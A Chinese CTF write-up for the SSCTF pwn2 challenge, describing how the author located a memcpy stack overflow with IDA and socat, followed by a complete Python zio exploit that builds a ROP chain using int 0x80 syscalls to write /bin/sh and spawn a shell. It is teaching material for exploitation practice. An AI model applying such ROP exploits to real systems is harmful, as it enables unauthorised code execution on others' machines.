ssctf-pwn2从此入坑不在起
来源:互联网 发布:formal mac 编辑:程序博客网 时间:2024/05/22 01:53
说来惭愧,做了这么就才终于将这道简单的栈溢出做出来了。而且还是在师傅的多次帮助下。
找了一天的漏洞。刚开始一直以为第一个scanf上有栈溢出,结果怎么调也调不出来,最后在师傅的指引下找到了溢出点,最终成功shell
。这是一个悲伤的故事。好多的基础的东西都忘光了。连linux_server需要使用root权限运行都忘了。其实找到漏洞之后,后面的事情就变得简单了。但是对于我这种新手来说,在简单的事情也会相当的耗时耗力。
万事开头难,就以此开始CTF-PWN的旅行!我会从头开始做一个介绍,欢迎入坑!
先说说,该有哪些基本工具。Python环境,IDA,checksh.sh(一个检查保护的脚本)。
直接切入正题
首先检查一下程序都开了哪些保护,STACK CANARY就是栈保护,也就是无法简单的栈溢出覆盖返回值,额~大家查查吧。
http://yunnigu.dropsec.xyz/2016/10/08/checksec%E5%8F%8A%E5%85%B6%E5%8C%85%E5%90%AB%E7%9A%84%E4%BF%9D%E6%8A%A4%E6%9C%BA%E5%88%B6/
可以参考下。
这题呢开了NX也就没法执行shellcode了,可能有栈溢出。其实就是栈溢出哈!@
毫不犹豫的
sudo ./linux_server
socat tcp-l:10000,reuseaddr ,fork system:./pwn2 (socat可以通过sudo apt-get install socat安装)
那么前期的准备就准备好咯。要我解释吗?
还是讲讲吧。额~。linux_server是和IDA配合使用的用于两者之间进行调试,可以在IDA的安装路径下找到,socat 是用来fork一个pwn2的一个子进程到10000端口,我们可以通过nc 127.0.0.1 10000 来试着访问这个程序,看看通没通。
写脚本咯。!~
我和师傅都是使用zio模块来写的,我看有的writeup使用pwn模块写的,大差不差吧。自行选择。建议先有一点python的基础,有啥不会写的就上百度
补充一下IDA的简单用法:F9运行到断点处,F2下断点,F8(step over)按语句块执行,不会进入到函数的具体内部,F7(step into)单步执行,注意两者的区别。Alt+T:查找,ctrl+S:选择段;F9:直接调试;Edit | patch program可以修改程序;Debugger | progress options下进行一些连接的设置。基本上就是这些了。不行就百度。
差不多可以开始调试了。
先看一下IDA。F5反汇编。
注意是print,不是printf,进去看看。
基本上可以确定,洞在这,进到memcpy看看,好乱,不过看名字就知道是个内存拷贝函数。先调调再说。IDA的话,我就不做介绍了,想多了解的上百度(不会就百度,哈哈!!!)
断点下在memcpy之前,
可以看到,之前是将我的输入读到了heap中,之后通过memcpy拷贝到stack中,并且没有长度的限制,明显存在overstack,接下来就是覆盖返回地址,构造rop链。由于程序是静态编译,通过构造int 80h中断,使之打开一个shell(int 80 中断号自行搜索)通过alt+T查找。
可以看到此时stack已经被我写好了。接下就是任我行。
先通过3号中断,将/bin/sh写到bss段,在执行11(b)号中断,执行。
最后大功告成!!!
希望大家能通过这题,对栈溢出有基本的了解,能迅速的入个门。不至于十脸蒙B。
完了!
写在最后。每一次的成功都是经过了大量的失败尝试。
from zio import *import timetarget=('127.0.0.1',10000)#target=('60.191.205.81',2017)io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'), print_write=COLORED(RAW, 'green'))c2=raw_input('go?')io.read_until('SSCTF[InPut Data Size]')io.writeline('150')io.read_until('SSCTF[YourData]')payload='1'*0x3e payload+=l32(0x0806EFE0) #pop edx ecx ebx payload+=l32(0x18)+l32(0x080EBF80)+l32(0x0)payload+=l32(0x080AD3BA) #pop eax ebx esi edipayload+=l32(0x3)+l32(0x0)+l32(0x0)+l32(0x0)payload+=l32(0x0806F5C0) #int 80 readpayload+=l32(0x0806EFE0) #pop edx ecx ebxpayload+=l32(0x0)+l32(0x080EBF88)+l32(0x080EBF80) #dread de can shupayload+=l32(0x080AD3BA) #pop eax ebx esi edipayload+=l32(0xb)+l32(0x080EBF80)+l32(0x0)+l32(0x0)payload+=l32(0x0806F5C0) #int 80 execio.write(payload)c2=raw_input('write /bin/sh??')io.writeline('/bin/sh\x00'+l32(0x080EBF80)+l32(0x0))io.interact()
- ssctf-pwn2从此入坑不在起
- 一入科协似海深,从此装逼成路人
- 2014SSCTF
- 老外也会凌波微步,自强不息从此作起
- 170719 pwn-pwn2
- 从此
- 一入产品深似海,从此奋斗到天明
- 一入IT深似海 从此妹子为路人
- 一入wine深似海,从此奋战到天明
- 新人一枚,从此入驻CSDN博客
- 今天起,不在CSDN写,在博客园写
- SSCTF高手的writup
- 2017 SSCTF Writeup
- SSCTF 2015 RE4解题分析
- 不在
- 一入编程深似海,从此女神如路人---记人生第一次宣讲会以及博客开通
- 一入js 深似海,从此 正则 是路人(高级——反向引用, 预搜索)
- 我耐心的过每一天,不在一日曝十日寒,三更眠五更起,很有规律
- IMWeb提升营Day6 | 训练题36:两个链表的第一个公共结点
- [LeetCode] Combination Sum 和确定的组合数的个数
- POJ 1617 Crypto Columns 笔记
- java关键字valatile超详细解析
- Spring Boot 初识
- ssctf-pwn2从此入坑不在起
- [LeetCode]Burst Balloons
- POJ 1618 Decorations 笔记
- ROS_Introduction
- ROS_Install
- ROS_Initialization
- ROS_Begin
- 关于逻辑回归的一些思考
- POJ 1619 EKG Sequence 笔记